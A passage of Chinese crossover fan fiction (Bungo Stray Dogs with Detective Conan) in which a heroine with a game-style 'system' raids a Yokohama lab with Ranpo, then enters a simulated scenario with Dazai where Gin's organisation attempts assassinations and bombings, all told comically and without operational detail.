木间原本有着相当光明的未来，却因为不明原因离开了医药公司，有很长一段时间行踪不明，两年后重新回到日本。
港口Mafia的海外情报表明他曾经在北欧逗留过很长一段时间，似乎加入了某个研究组。
木间回到日本之后，拒绝了不少大公司抛来的橄榄枝，隐姓埋名来到横滨，以一家废弃研究所为根据地建了个小组织。
……不管怎么看，这个人身上都充满了古怪。
泉飞鸟在脑海中过了一遍之前看过的情报。
木间本身就是个普普通通的研究员，战斗力并不出色，但他很乐意向欧洲那边购买先进的武器，因此黑乌鸦这个组织的成员战斗力目前相当不错。
不过这点战斗力对中原中也来说，似乎完全就不是个事儿。
泉飞鸟之前听说过“重力使”的名头，但没想到中原中也本人直接带头冲锋，一个起跳落地，地面都因为他强大的异能力，出现蜘蛛网般的裂缝。
整个根据地都乱了起来，不少拿着武器的人从研究所的三层小楼里冲出来。
双方成员瞬间打成一团。
泉飞鸟开着技能从战场侧面绕过去，顺手还解决了几个赶来增援的人。
暗杀者的潜行这个技能降低存在感，再加上随时能把人拉进战斗空间，暂停战斗时间，泉飞鸟一路顺顺利利钻进了研究所的小楼。
【检测到宿主进入重要剧情触发区域。】
泉飞鸟进入小楼之后，随便抓了个巡逻的警卫，从他嘴里逼供出了首领经常出没的区域。
她正准备上楼直接前往首领办公室，耳边却突然响起了沉寂已久的系统的声音。
【救世特殊剧情任务模块已经开启，请宿主务必努力完成系统发布的任务。】
这半死不活的系统居然还有主动上线的一天？
泉飞鸟有些震惊，但她也没停下上楼的动作，顺手打开了新的模块。
【新任务：废弃研究所的哀嚎
任务描述：位于横滨的某个废弃研究所，经常会在半夜传出可怕的哀嚎声，请迅速前往这个废弃研究所，探寻背后的秘密。
任务完成进度：0%
已解锁的情报：关于首领木间的过往经历
任务奖励：1.任务完成度达到50%以上，奖励1000经验值
2.任务完成度达到100%，奖励随机精英技能*1】
泉飞鸟很馋经验值和随机的精英技能，但也忍不住在心里暗骂。
什么叫“请迅速前往废弃研究所”啊，如果她不来这里，这任务根本就不会触发吧！
……坏了，之前只是单纯的打打杀杀，现在脑子要长出来了，头好痛。
想要更多情报，估计也只能先把那位木间首领给抓了拷问一顿吧？
她躲开密密麻麻的监控，摸进了第三层楼。
“说是组织成员，其实我们差不多就是首领一个人的保镖。”
刚才被她拿刀架脖子威胁的巡逻警卫是这么说的：“整个三楼几乎有一大半都是首领的私人区域，他只让我们在外面巡逻，让一部分特别信任的人进去。”
那个警卫挠了挠头：“我也不知道里面到底有什么，不过听说是改造过的研究室。”
出乎意料的是，明明外面已经闹出了那么大的动静，三楼居然很安静。
木间似乎没设置什么严格的警卫系统，泉飞鸟顺着通风管道顺利摸进了那片神秘的私人区域。
静悄悄的，一个人都没有。
确实像那个警卫说的一样，这里是改造翻新之后的研究室，但灯都是关的，一片漆黑，只有安全出口昏暗的绿光。
泉飞鸟的夜间视力还不错，她小心翼翼地探索这片区域，发现那些实验器材和设备似乎已经很久没人动过了，上面蒙了一层灰。
泉飞鸟基本上把这里的公共区域翻了个底朝天，每一个抽屉箱子都没放过，但任务面板毫无进展，看来这里没什么可靠的线索。
接下来就只剩那几个大门紧锁的房间。
泉飞鸟走到最近的房间门口，耳朵贴在门上认真听，听到里面有细碎的声音。
一个人，房间里只有一个人。
门没锁，房间里灯亮着。
泉飞鸟握紧了手里的武器，以最快的速度推开门冲进房间，她也没仔细看房间里那个人的脸，只是顺着对方的气息，把武器架在他的脖子上。
“不许动，你是木间·理查德是吧，我有几个问题要问，如果你老老实实配合我的话……”
泉飞鸟说到一半就发现认错人了。
木间是个头发已经花白的中年男人，面前这个太年轻了，一看就不是。
黑发青年戴着棕色的贝雷帽，身上是同色的小披风，一双翠绿的眼睛正盯着她看。
“笨蛋，认错人啦！
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”
黑发青年很不高兴，气鼓鼓的：“你要找的人根本就不在这里！”
“你是谁？”
泉飞鸟没有收起武器，仍然充满警惕。
长着一张娃娃脸的黑发青年露出了嫌弃的表情，他伸手从小口袋里摸出一小把糖果。
“我叫江户川乱步，是名侦探！”
江户川乱步瞅了泉飞鸟几眼，瞬间就判断出她面无表情下的茫然。
“你不会不记得了吧，棉花糖小姐。”
他把其中一颗糖果塞进嘴里：“那天你出门被路过汽车溅到水，刚换上兼职的玩偶服就被小孩子的冰激凌撞到，卖棉花糖的时候遇到小偷之后见义勇为，结果棉花糖全部黏在头发上……”
“停停停，你不用说了，我想起来了。”
泉飞鸟感受到熟悉的头疼，心虚地收起来武器。
她想起来这是谁了，几个月前她还在打工兼职，其中一份工作就是穿着玩偶服卖棉花糖。
正如江户川乱步所说的，她那天运气简直糟糕透顶，在一系列倒霉事件之后，遇到了江户川乱步。
当然，这也算是一件倒霉事，因为江户川乱步迷路了，没带钱。
——泉飞鸟自掏腰包请客的棉花糖。
不过那时候两个人也只是一面之缘，泉飞鸟甚至都不知道江户川乱步的名字，也不确定对方是不是重要人物。
“因为偷偷跑出来买限量点心，结果完全迷路到反方向的路痴先生。”
泉飞鸟一想起那天就头皮发麻。
“不是路痴！名侦探只是不认识回去的路而已！”
“这不就是路痴吗！”
“我不是！”
“你就是！”
两个人斗了几句嘴，泉飞鸟忽然想起来：“你不是什么侦探社的人吗，怎么跑到这里来了？还有你那位银发的监护人先生呢？”
乱步低声嘟囔了几句什么：“最近横滨发生了大规模的人口失踪，我和社长是来查案子的，结果半路上出了点问题，我和社长走散了。”
“你来得正好……”
乱步话音未落，那双智慧的绿眼睛凌厉了起来，他对泉飞鸟竖起手指示意她保持安静，随后马上关灯关门。
整个房间黑了下来。
外面一片寂静，过了几十秒后，传来了轻微的声音，隔着门不太清晰。
那是金属制品在地面滑动发出的刺耳声音，以及沉重的脚步声，从挺远的地方逐渐靠近。
乱步压低声音，在泉飞鸟耳边小声说：“你要找的人来了。”
“接下来，千万，千万不要发出声音。”
6. 第六章
沉重的脚步声和刺耳的金属摩擦声在门外响了很久。
泉飞鸟和江户川乱步两个人蹲在门边，一直到门外重新安静下来，才站起来开灯。
“刚才外面那个拖着东西乱晃的就是木间？”
泉飞鸟摸了摸下巴，刚才江户川乱步的表情和语气实在太有说服力，她就老老实实没说话：“感觉他好像不太对劲啊，现在还能正常沟通吗？”
不然她去找谁套情报？
“那是不太行了。”
江户川乱步似乎是因为蹲太久了脚有点麻，站起来摇摇晃晃腿，像一只刚刚学会走路歪歪扭扭的猫。
泉飞鸟“哦”了一声，提起武器就准备往外走。
既然对方已经变成了无法提供情报的废物，那她当然就只能按照原计划，直接把人咔嚓了。
“回来。”
江户川乱步一眼就看穿了她的打算，摇摇头：“就算你现在马上追出去的话，也是找不到人的，他已经顺着通道游荡到地下的研究室去了。”
“至少要再过10分钟才会重新回到附近。”
游荡？
泉飞鸟敏锐的捕捉到了他话语中的关键词。
“精神病患者？吃了毒蘑菇？丧尸危机大爆发？被基因改造的特种人？外星生物？”
她发自内心发出感叹：“横滨原来这么卧虎藏龙吗？”
“不是啦，你这个笨蛋！”
乱步从这个废弃房间的桌子上扒拉出纸和笔，在上面画了个拿着一把剑的火柴人，代表嘴的横线下方还有两个小倒三角。
“你看，就是这样的，手里拿了一把鲜红色的长剑，很明显吧？”
“吸血鬼。”
泉飞鸟露出恍然大悟的表情，随即大惊失色：“这种完全不科学的东西居然真的存在吗？！”
“最不科学的其实是你吧……”
江户川乱步嘟嘟囔囔，把脑袋上有点歪了的帽子重新正了正：“你听说过‘不死公子’，布拉姆·斯托克……好，你不知道。”
“总之就是一位跟吸血鬼很像的异能力者！木间到横滨之后进行的研究似乎就和他有关，但中途出现了问题。”
江户川乱步高高举起了他手里的简笔画：“就变成这样了。”
【恭喜宿主获得新情报：关于不死公子布拉姆·斯托克的研究】
泉飞鸟陷入了沉思。
“总之还是先把木间砍了吧，这也快十分钟了，他马上就回来了吧？”
思考失败，她迅速得出了结论：“他一直在外面晃啊晃也很烦人，影响我思考。”
乱步：(￣∨￣）
“好耶，正好我也要出去找社长！”
乱步超开心，从自己那一小堆糖果里挑了两颗塞给泉飞鸟：“这个给你，这是我最喜欢的糖果！”
“说起来，前两天我有遇到绷带先生哦，他好像也在调查这个事情，就是死活不承认。”
……绷带先生？
泉飞鸟突然有不太好的预感。
她来横滨这么久，遇到各种奇奇怪怪的人，但是能被称作绷带先生的似乎只有一个。
那就是太宰治。
之前酒吧老板说他有不好惹的背景，他不会就是港口Mafia的成员吧？
泉飞鸟把这个不好的猜想重新压下去。
不不不，说不定还有其他喜欢绷带的人，不可能这么巧合。
不然特意面试加入港口Mafia的她不就是绝世蠢蛋了吗！
打架，先打架，什么事都打完再说。
和江户川乱步刚才说的一模一样，没过多久门外又传来了熟悉的声音，脚步声逐渐靠近。
由于乱步本人没什么战斗力，两个人商量之后，决定让乱步继续待在房间里，等这边打完了再出来。
泉飞鸟深吸一口气，推开房门冲出去，直接发动了技能重击，直接把人拉进战斗空间。
【重击lv3：一个伟大的战士，所需要进行的第一件事就是挥动你的拳头。
徒手攻击造成攻击力150%的伤害，有70%的概率眩晕对方。】
眩晕对方的概率是随着技能等级的增加而升高的，重击lv1的时候眩晕概率只有50%。
泉飞鸟这次的运气不错，“木间”被瞬间眩晕，直接被一拳抡了出去，重重砸在战斗空间的边缘空气墙上。
明亮的战斗空间里，她才完全看清了“木间”的长相。
别说，这个木间其实长得还人模人样的。
虽然年纪不小，头发也已经花白，但还是瘦瘦高高没有中年发福，不过眼睛是诡异的全黑。
他手里正拿着一把足足有半人高的长剑，因为太长了，有一小半直接拖在地上。
这把长剑正散发着诡异的红光，血红色的丝线丝丝缠绕在他的手臂上，一直蔓延到肩膀。
“我说，你绝对是看过银他●吧！”
泉飞鸟迅速上了个侦察，确认对方确实很弱之后趁他病要他命，再次一个重击削掉他三分之一血条。
“——这造型不就是红樱吗！”
对方给她的回答是低哑的嘶吼。
泉飞鸟也懒得和他多说废话，先是根据乱步的建议，直接斩断了对方握着武器的手臂。
木间·理查德非人的症状仍然没有消失，虽然失去了一条手臂，他努力伸长脖子，想要咬泉飞鸟的手。
一刀切断了男人的脖子后，木间·理查德抽搐了几下之后不动了。
泉飞鸟确认对方的血条已经归零之后解除了战斗空间。
这也是她的能力很好用的地方，只有血条归零才代表真正的死亡，她可以通过这一点来判断对方是不是在装死。
及时补刀是好文明！
都不用喊，江户川乱步已经自己开门出来了。
“原来你真的挺厉害的！”
乱步蹦跶着过来，一脚把已经黯淡下去的长剑踹开。
“以前没有，你是最近才获得的这个能力，原来如此，你在港口Mafia遇到了一位不错的老师，这次也是他让你来的，所以你才和其他人分头行动……”
“乱步先生，我们往哪里走？”
冒冷汗的泉飞鸟若无其事地打断了江户川乱步的话。
“这次我认得路！往这边！”
*
顺着木间休息室里暗门后的秘密通道，两个人搭上了电梯，往地下而去。
这一路上两个人都沉默着。
泉飞鸟看了看目前所持有的线索，任务完成度还是一动不动的0，坚定的仿佛出故障。
这种完全没有探索方向的感觉并不好，她多少有点焦虑。
旁边的江户川乱步打了个哈欠。
他一眼看穿了泉飞鸟冷静淡定外表下的焦虑，出声道：“有我这个名侦探在，你有什么可担心的？”
下行距离比想象中的要深。
电梯门打开之后，地下研究所的光景就和三楼近乎废弃的实验室完全不同了，这里的一切都是崭新的，也更加诡异可怕。
惨白的灯光下有无数圆柱形的培养罐，层层叠叠，数量惊人，不过大部分都已经被打碎了，剩下的罐子里有和之前木间手上一模一样的长剑。
淡红色的营养液流了一地。
”是社长砸的。”
江户川乱步还带着点小骄傲：“很厉害吧！当然了，我也很厉害！如果不是我的推理，那些人根本活不到来救他们的时候！”
泉飞鸟蹲下，蘸了一点营养液。
“不要接触这种东西太久，碰太久了就会和木间一样。”
江户川乱步指了指不远处最大的玻璃圆罐：“这些营养液都是那玩意儿泡出来的。”
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巨大空荡的玻璃圆柱体里，漂浮着一块巴掌大的身体组织，正在源源不断向外涌血，那些被血液浸染的长剑散发出不祥的红光。
【恭喜宿主获得情报：关于某个组织开发异能武器的研究记录，请获取特殊道具·古怪的肉，开启后续探索。】
江户川乱步和福泽谕吉是三天前从官方那里接到了这个委托，最近横滨发生了大量的人口失踪事件。
两人的进度很快，顺着线索一路追查到这个小组织，发现了位于地下的研究室。
“我们赶到的时候，所有人都泡在营养罐里，虽然大部分都还活着，情况也已经很糟，再泡下去就会死。”
江户川乱步哗啦一下拉开起来一扇门，里面是半死不活的失踪人员。
“木间交代再往下的资料室里有其他的资料，社长就下去看看情况。”
乱步不满地吐槽道：“我明明都已经把他五花大绑了，他居然趴在地上扭来扭去！还喝了很多那种营养液，直接就变成刚才那种样子了。”
泉飞鸟：“唔唔……（嚼嚼嚼）”
“如果他直接变成彻底的怪物就算了，他甚至还留了一丝理智，把通往地下室方向的门反锁了，社长上不来。”
“我又打不过他！”
乱步委屈：“他明明还是人的时候跑的比我还慢！”
“你说这东西（嚼嚼嚼）怎么就（嚼嚼嚼）还挺好吃的（嚼嚼嚼）？”
“算你还有点眼光！这可是我最喜欢的糖……”
乱步满意点点头，转过身后难得地瞪大了眼睛：“……你这个笨蛋，你怎么什么都吃啊！”
“你不要命了！”
泉飞鸟不知道什么时候在玻璃圆柱罐上开了个洞，那块漂浮在里面的“古怪的肉”已经只剩下一点点。
“……因为有种亲近的感觉？”
她歪了歪头，不确定地回答。
“你脑袋已经坏掉了。”
乱步抿了抿嘴，虽然心里着急，但仍然保持着绝对的理性冷静：“你现在身体有什么变化吗？”
他警惕地注视着泉飞鸟的反应，争分夺秒冲过去打开地下室的门。
【恭喜宿主已经获得奇怪的肉，即将开启虚构史学功能，请做好准备，倒计时3210——】
“就是，突然很困……你放心，我不会变成吸血鬼的。”
说完这句话，眼前突然一片漆黑的泉飞鸟直愣愣栽倒下去，失去了意识。
＊
“咚咚咚，咚咚咚……”
泉飞鸟是被一阵急促的敲门声吵醒的。
她迷茫地睁开眼，周围陌生的布局让她怀疑自己是不是又穿越了。
泉飞鸟还记得晕倒之前系统播报的内容，虚构史学？
她低头看了看，现在还是自己的身体，灵活地一个翻身从睡的床上窜下来，去开了门。
此时站在门外的，居然是一个意想不到的熟人。
黑发鸢眼，脸上难得没有缠绷带，露出一双完整的眼睛，身上却穿了一身古怪的白大褂。
看来她真的是在做梦了，还是个噩梦，不然为什么太宰治会出现在她的面前。
“太……”
泉飞鸟刚准备开口喊出太宰治的名字，就看到面前的人悄无声息地对她做了个安静的手势。
她从震惊中回过神，这才注意到太宰治身后还站了两个陌生人。
两个人都穿着一身黑，其中那个个子稍高，有着银色长发和绿眼睛的男人，正用枪指着太宰治的头。
……什么情况？
“木间·理查德，你已经见到你那位亲密的助手了。”
银发杀手用冰冷的眼神看了泉飞鸟一眼，“啪哒”一下打开了手枪的保险栓。
他特意在“亲密”两个字上加重了语气。
“现在愿意加入我们的组织了吧？”
7. 第七章
【欢迎宿主进入虚构史学副本“血腥研究”，你目前扮演的角色是川下·艾斯特，角色资料已下发。】
【你在副本剧情角色眼中的形象已修正，“血腥研究”为一次性副本，宿主主动退出或者主要角色木间·理查德死亡，副本将会强行结束。】
【系统将进行分数评定，给予相对奖励，评判标准请看后续说明。】
【温馨提示，副本内容均为虚构，请勿随意代入现实，后续问题本系统概不负责。】
在极短的时间内，角色资料已经传输完毕。
泉飞鸟迅速把资料过了一遍，露出了一言难尽的表情。
川下·艾斯特和木间·理查德，是青梅竹马以及亲密的恋人，现在的时间线是在三年前，木间还在美国医药公司就职的时候。
……怪不得那个银色长发男会用亲密这个词，说什么助手，其实就是小情侣之间的情趣罢了。
泉飞鸟顺便看了两眼系统给出的评分规则，基本上就分成两大块。
角色扮演不能ooc，她必须完美扮演一个为了木间能付出一切的恋爱脑，毕竟川下可是为了爱人抛弃一切，跟着来到美国。
……还有一点就是“木间”的存活时间和结局幸福度。
这个就比较抽象了。
把信息在脑海中过了一遍，也才过去几秒而已，泉飞鸟迅速把注意力拉回现实。
看来这两个黑衣人就是木间离开医药公司的原因了。
“……拜托了！请不要伤害木间！”
泉飞鸟秉持着角色扮演不能ooc的原则，眼泪刷一下就下来了。
她提前做了几秒心理准备，一个腿软倒在地上，阴暗扭曲爬行：“你们和他有仇就冲着我来吧！”
泉飞鸟为了系统奖励哭得卖力，从捂脸的指缝里观察前面的三个人，正对上太宰治似笑非笑的表情。
“……”
可恶，差点忘了这茬了。
泉飞鸟在心里尖叫，她其实也不太清楚为什么太宰治会出现在这里扮演木间的角色，但是唯一可以确信的是！
——那个超讨厌她的太宰治可不一定会陪着她演戏！
＊
琴酒和伏特加所在的组织一直进行着各种研究，养了一大批科研员。
其中最重要的一项研究就是所谓的长生不老药，在这方面研究颇有建树的木间·理查德自然被划进了招揽目标。
当然，能让组织的topkiller亲自出马的招揽，并没有任何拒绝的选项。
——要么进，要么死。
不过考虑到那位大人对木间的重视程度，琴酒还是多留出了一点耐心，没有在对方提出想见一下自己的助手时，就把人一枪崩了。
直到那位名为助手，实则情人的黑发亚洲女人开始哭哭啼啼，琴酒的耐心已经消耗殆尽。
他“啧”了一声，给了伏特加一个眼神。
“喂，想好了没有？”
伏特加狞笑着，拿出手木仓对准了地上的黑发女子：“大哥已经给你很多时间考虑了，不然就和你心爱的女人一起下地狱去吧。”
“木间”不知道在想什么，陷入了沉默。
“亲爱的，你说句话呀！”
黑发亚洲女人“川下”哭的声音更大了，闻者伤心听者落泪，就连伏特加都被这强烈的悲伤情感惊了一下。
居然这么伤心，这对死鸳鸯还挺深情……
他在心里吐槽了一句，毫不留情的开始倒计时：“三，二……”
“……我愿意加入。”
在倒计时和死亡的枪声即将同时抵达时，“木间”慢吞吞地卡点给出了答案：“不过我有个要求，我想要艾斯特酱和我一起加入组织，她是我最重要的人，我不想和她分开。”
“亲爱的，我也不想和你分开！”
“川下”又特别响亮地抽噎了几下，语气里带着不易察觉的咬牙切齿：“我们就算是死也要在一起！”
琴酒冷哼了一声，放下了手里的枪：“今天晚上十点会有专门的飞机接你去欧洲，那边有一个新项目，给你一天时间，把你的研究资料整理好，从公司带出来。”
两个人离开公寓楼，负责开车的伏特加从后视镜里看了一眼，忍不住询问：“大哥，真的要让那个女的也加入组织吗？”
琴酒坐在后排闭目养神，听闻嗤笑。
“那两个人等下会重新去医药公司，打电话让人准备好炸弹，把那女的炸死。”
“他得清楚不是什么都能和组织讨价还价的。”
伏特加有些惊讶：“但是，那个木间不是说那女人是他……万一杀了那女的，他不配合怎么办？”
琴酒没有继续回答，只是冷漠的回了一句：“去打电话。”
“……好的大哥。”
琴酒和伏特加离开之后，房子里只剩下泉飞鸟和太宰治两个人，一时间气氛微妙。
泉飞鸟伸手揉了揉自己的脸和眼睛，她刚才一直在努力给太宰治使眼色，感觉自己的脸都快抽筋了：“刚才那两个人是？”
“哎？飞鸟不知道他们是谁吗？”
太宰治并没有回答她的问题，只是伸出食指，动作轻柔地用指腹磨蹭了一下她的眼尾：“已经没事了，艾斯特酱，你的脸色看起来好差劲。”
泉飞鸟对此非常不适应，几乎是克制本能才不后退躲开。
她倒不是不适应肢体接触，只是之前被魏尔伦先生殴打习惯了（？），突然遇到这么温柔的触碰很不适应，甚至有点皮痒（？）。
泉飞鸟在脑海中拉响警报，不行不行，她怎么能这么想呢，她又不是抖M！
不愧是太宰治，果然是个厉害角色，这种时候还能完美代入角色，恐怖如斯。
那两个副本剧情人物走了之后，她就放松了很多，差点忘记人物扮演不能ooc的事情。
“我没事的！亲爱的！”
泉飞鸟一个重击
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把太宰治的手按在自己脸上，力道大得好像给了自己一巴掌。
她自己脸皮厚，没什么太大的感觉，倒是对面的太宰治表情扭曲了一瞬间。
“只要你没事就好了！”
她抬头，眼睛一眨不眨地和太宰治“深情对视”了几秒，直到眼睛都酸了，才不确定的开口询问：“……这样就算角色扮演完成了吧？”
太宰治收回手，果然发现手背上已经红了一块。
他若无其事地收回手：“嗯，大概是好了。”
泉飞鸟扑进客厅柔软的大沙发，她刚才就想这么做了：“你是怎么来的？刚才那两个人强迫木间加入他们，看起来就不是什么正经人，是哪个组织啊？”
虽然是虚构副本，但这两个人在现实中也是存在的吧？
刚刚那个黑墨镜居然敢拿枪对着她宝贵的脑袋，现实中遇到了非得好好教训他一顿才行。
太宰治走到客厅角落里，把刚才被琴酒一脚踹飞的手枪捡回来。
虽然“木间”的战斗力小于一只鹅，但毕竟是在和平美利坚，家里有点武器也正常。
“因为最近要调查一点事，所以出门了。”
太宰在泉飞鸟旁边的沙发上坐下，熟练地把玩着手里的枪：“正好走在横滨市中心的人行道上就被拉进来了，真是太糟糕了，回去的时候不会被车撞死吧？被撞死这种死法想想就好痛，还不一定能当场死亡。”
他露出两只完整的鸢色眼睛，在窗外阳光的照射下显得通透，身上还穿着白大褂，感觉气质和平时穿着黑西装时不太一样，泉飞鸟多看了两眼。
“你呢？”
太宰治把枪扔在沙发上，若无其事地询问：“你是怎么来的。”
“我？”
泉飞鸟在沙发上坐好，抬头瞄了眼时间，现在是早上九点，还很早：“我也是在……”
等等，不对。
泉飞鸟背后开始冒冷汗，她干巴巴地补上后半句：“……我正在去大阪的新干线上呢。”
太宰治单手撑着下巴，笑吟吟地看着她：“是吗，飞鸟去大阪了啊。”
“飞鸟真的这么听我的话吗？之前可是连洗洁精都不愿意给我哎。”
他脸上的笑容像是被涂抹了黑颜料的画布，骤然阴沉下来。
“还是说，你又在骗我呢，飞鸟？”
泉飞鸟定定地看了太宰一会，叹了口气。
她本来还想着能把这件事情糊弄过去，看来她还是没有在魏尔伦先生那里学到冷酷杀手面具脸的精髓。
“我承认，我确实没有离开横滨。”
泉飞鸟也没像之前一样遮遮掩掩，坦荡地承认事实。
她的双眼直视太宰堪称阴冷的目光，毫无畏惧：“我有很重要的事情要做，在此之前是绝对不会离开的，具体的理由不能告诉你。”
“那么，太宰先生呢？”
她反问道：“你坚持让我离开横滨，是因为很讨厌我吗？”
8. 第八章
泉飞鸟坐在汽车驾驶座上，握紧了方向盘。
“因为飞鸟是我的助手，所以开车就拜托你了——”
坐在后排的太宰治已经开始享用早饭，是他用“木间”的银行账户点的超豪华蟹肉三明治，大厨出品，香味四溢。
在家里找材料，好不容易只做了个普通三明治填饱肚子的泉飞鸟：“……呵呵。”
她翻了个白眼。
之前询问的问题，太宰治并没有回答。
他只是把不知道从哪里摸出来的车钥匙在指尖绕了个圈，甩给泉飞鸟。
“我们该去木间就职的医药公司拿资料了，飞鸟。”
太宰治迅速换了身黑西装，眨了眨眼：“晚上十点飞机就要起飞哦。”
泉飞鸟也没指望太宰能回答问题，从冰箱里扒拉出原材料凑合凑合做三明治吃。
“等我吃完我们就出发。”
副本里的饥饿值还挺真实的，她感觉自己现在饿得能吃下一头牛。
为了防止重要任务目标“木间”不饿死，她还顺手给太宰塞了个白煮蛋。
一切收拾妥当准备出发时，门铃响了。
泉飞鸟还以为刚才两个黑衣人又来了，再次警惕起来，太宰治已经施施然走过去开了门，从配送人员手中接过他点的外卖。
“……你什么时候点的？”
包装拆开，属于食物的芬芳瞬间扩散开来。
吃了干巴白人饭的泉飞鸟又饿了。
“哎，我也不知道呢。”
太宰治不经意间把完整的整个三明治在她面前展示了一下：“飞鸟要吃吗？”
“如果你喊一声‘世界上最伟大的太宰大人’的话，我就给你吃一口。”
泉飞鸟很没骨气地咽了口口水，试探性地询问：“如果我叫三声的话，整个三明治都能给我吃吗？”
她三口肯定能吃掉一个！
“……”
结果最后太宰连一口都没有给她吃。
一直到坐上汽车驾驶座，泉飞鸟才想到两个严肃的问题。
她走进思维误区了！
她又不是之前那个数值上完全比不过太宰的弱鸡，现在她虽然不算很强，但也有一打之力，太宰又不能像魏尔伦先生那样能秒杀她。
她，为什么叫太宰“最伟大的太宰大人”呢？为什么不直接明抢三明治呢！
谈不拢就物理谈拢才是她应该遵守的原则啊！
泉飞鸟想通之后豁然开朗，她逐渐理解了一切。
第二个问题就是——
……车，怎么开来着？
她还是未成年，没有驾照。
泉飞鸟回忆了一下之前玩赛车游戏时候的操作，一脚把油门踩到底。
总之就是躲开一切障碍物吧？
车子发出“呜”的一声爆鸣，以惊人的速度狂飙了出去。
坐在后排的太宰治没系安全带，正准备美美享用他的三明治。
下一秒，美味的三明治直接飞出来糊在他的脸上。
＊
十五分钟后，已经蹭掉大片油漆的轿车一个帅气的漂移，停在了医药公司大门口。
在开车过程中学会刹车的泉飞鸟神采奕奕地先一步下车，很贴心地给坐在后排的太宰拉开车门，甚至拿了张纸巾。
“我们到了太宰先生，快下车吧。”
泉飞鸟把湿纸巾按在太宰脸上用力一顿揉搓，语气温柔得要命：“来，亲爱的我们擦擦脸。”
周围的围观人群发出起哄的声音，“木间”和“川下”的情侣关系人尽皆知，但很少在大庭广众之下秀恩爱。
“……飞鸟，我从现在开始讨厌你了。”
太宰还没从刚才的飙车里缓过神，他扶着车，一副想吐但是吐不出来的样子。
“没关系的。”
泉飞鸟笑容爽朗：“你很讨厌我，我也很讨厌你，这不就是扯平了吗？互不相欠呀！”
太宰看起来更想吐了。
泉飞鸟完全不顾他的反抗，像一对真正热恋的小情侣一样，亲密地挽住了太宰的手臂，两个人拉拉扯扯往里面走。
木间确实是个很有天赋的研究员，公司为他设置了单独的办公室，还愿意给他完全没有科研天赋的女朋友，多设立一个助手职位。
两个人顺利到达木间的办公室，太宰把自己整个人都埋进宽大的座椅里。
泉飞鸟还正担心他们两个都对木间的研究一窍不通，要怎么拷贝整理资料，系统的提示应适当响起。
【你们已到达木间的办公室，系统将自动为你们拷贝资料，请木间·理查德在此之间不要离开办公室。】
半空中出现一个正在倒计时20分钟的光屏。
泉飞鸟为系统的贴心点了个赞。
她在系统声音响起的时候，一直有关注太宰的表情，能够确认对方也听到了这个声音。
正好有穿着白色研究服的其他研究员敲门进来：“木间博士，我有内容要向你汇报。”
年轻研究员有些为难的看了一眼坐在原地不动“川下”，他是知道这位的身份的，但是有些东西事关公司机密。
“艾斯特，帮我去倒杯咖啡可以吗？”
“木间”点点头，表情柔和地看向黑发女人：“按照平时的习惯就可以，请再帮我拿一份点心。”
“川下”像平时一样温柔一笑，退出了办公室。
一离开办公室，泉飞鸟脸上的笑容瞬间消失。
公司的茶水间还挺远的，她缓步走在宽阔整洁的走廊上，右手边是干净透明的巨型玻璃落地窗，窗外的阳光照射在她脸上，有点刺眼。
”系统。”
泉飞鸟忽然在心中呼唤系统。
他们现在所在的楼层很高，放眼望去是各种摩天大楼。
【宿主有什么问题吗？系统一直都在。】
“我所扮演的川下·艾斯特，人设是和木间青梅竹马，为了爱情放弃一切跟
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到美国是吧？”
【宿主说的没错。】
“那么，这个被她抛弃的一切，就是可以任由我发挥，是吧？”
泉飞鸟停下了脚步，目光灼灼地看向玻璃窗外。
【宿主，您似乎弄错了什么。】
系统冷酷的机械音里生出了多余的情感。
【我们这可是虚构史学，只要维持人物基本人设，您想要做什么都可以。】
“是吗。”
听到想要的答复，泉飞鸟忍不住露出灿烂的笑容。
她身边的玻璃落地窗轰然碎裂，速度更快的是直接冲着她脑门来的狙击子弹，想都不用想，肯定是刚才那两个黑衣人派出来搞死她的。
泉飞鸟动作轻巧地偏头闪过子弹，原本光滑的墙壁上留下一个漆黑的弹孔，她注视着几百米之外狙击手所在的方向，开启了战斗空间。
“——那这里可太适合我练手了！”
被组织派来暗杀川下·艾斯特的狙击手吃了一惊。
他得到的资料上说这只是个普通女人啊！
刚才他和那个女人对上视线，还以为只是巧合，没想到对方居然能直接躲过狙击枪子弹！
专业杀手的素养让他很快从震惊中回过神，再次瞄准，准备射击。
刚才那说不定只是巧合罢了。
这种天真的想法戛然而止，他看到镜头里的黑发亚洲长相女人对他笑了笑，随即视野里变成一片空白。
……人呢？
原本趴在楼顶的狙击手有些茫然地抬起头，发现自己竟然不知不觉来到了一片神秘空间，手上的手表停止转动。
“你是，在找我吗？”
头顶响起了陌生女人的声音，狙击手缓缓抬起头，看到原本应该在百米之外大楼里的黑发女人不知道什么时候居然站在他面前，正弯着腰微笑着低头看他。
“上帝啊……”
狙击手在心里祈祷，随即感受到有什么冰冷的东西洞穿了他的脖子。
＊
琴酒坐在他钟爱的保时捷356A里，行驶在马路上。
“大哥，点位A的联络。”
伏特加一边开车一边接通了联络，递给后排的琴酒。
伏特加在心里叹气，那个女人就那么死掉了，不知道木间会不会大吵大闹，他俩真的还挺深情的……
“呀，不知名的先生，中午好啊。”
联络器里响起了不该出现的女声。
琴酒的眉头皱了起来。
伴随着电磁的噪音，女声继续往下说。
“……我是川下·艾斯特，我没死，是不是很吃惊很意外？”
前排的伏特加竖起了耳朵，听到坐在后面的他大哥冷哼了一声。
“你们居然想让我和我亲爱的分开，我……”
琴酒已经挂断了联络。
他打电话给另外一批提前准备好的人手，冷酷无情地吩咐道。
“把公司炸了。”
9. 第九章
被强行挂断通讯器的泉飞鸟重新回到走廊上，欣赏了一下狙击子弹在玻璃窗上留下的蜘蛛网纹。
现在她已经不是之前的那个柔弱不能自理的花瓶美女，她现在是前·自由杀手，为了心爱的人心甘情愿金盆洗手，千里迢迢来到美国的绝世好女人！
——这人设一听就很时髦，像是那种只出现在回忆杀里的悲情女配。
泉飞鸟踏着姗姗来迟的公司安保系统警报声，走进茶水间泡了杯苦得要死的黑咖啡，又配了一份甜到发苦的双倍加糖马卡龙，哼着歌转身往回走。
她其实不是很确定那个组织接下来会有什么反应。
像画风比较正常又很缺人的港口Mafia，遇到这么一个为情所困的退役杀手肯定会很乐意接纳。
毕竟她也隐约猜到，港口Mafia一直在维持横滨夜晚的秩序。
但副本里这个组织的画风比较抽象，她总觉得他们还会做点什么夸张的事情，毕竟一个正常的组织也不会选择在大白天众目睽睽之下搞狙击暗杀。
她正这么想着，就听到楼下传来响亮的爆炸声。
“......”
泉飞鸟端着东西向下张望，发生爆炸的果然是他们刚才开过来的车，甚至波及到了旁边一大片。
在隐约的人群喧闹呼救声中，泉飞鸟陷入了沉思。
……啊？？
不是，他们有病吧？
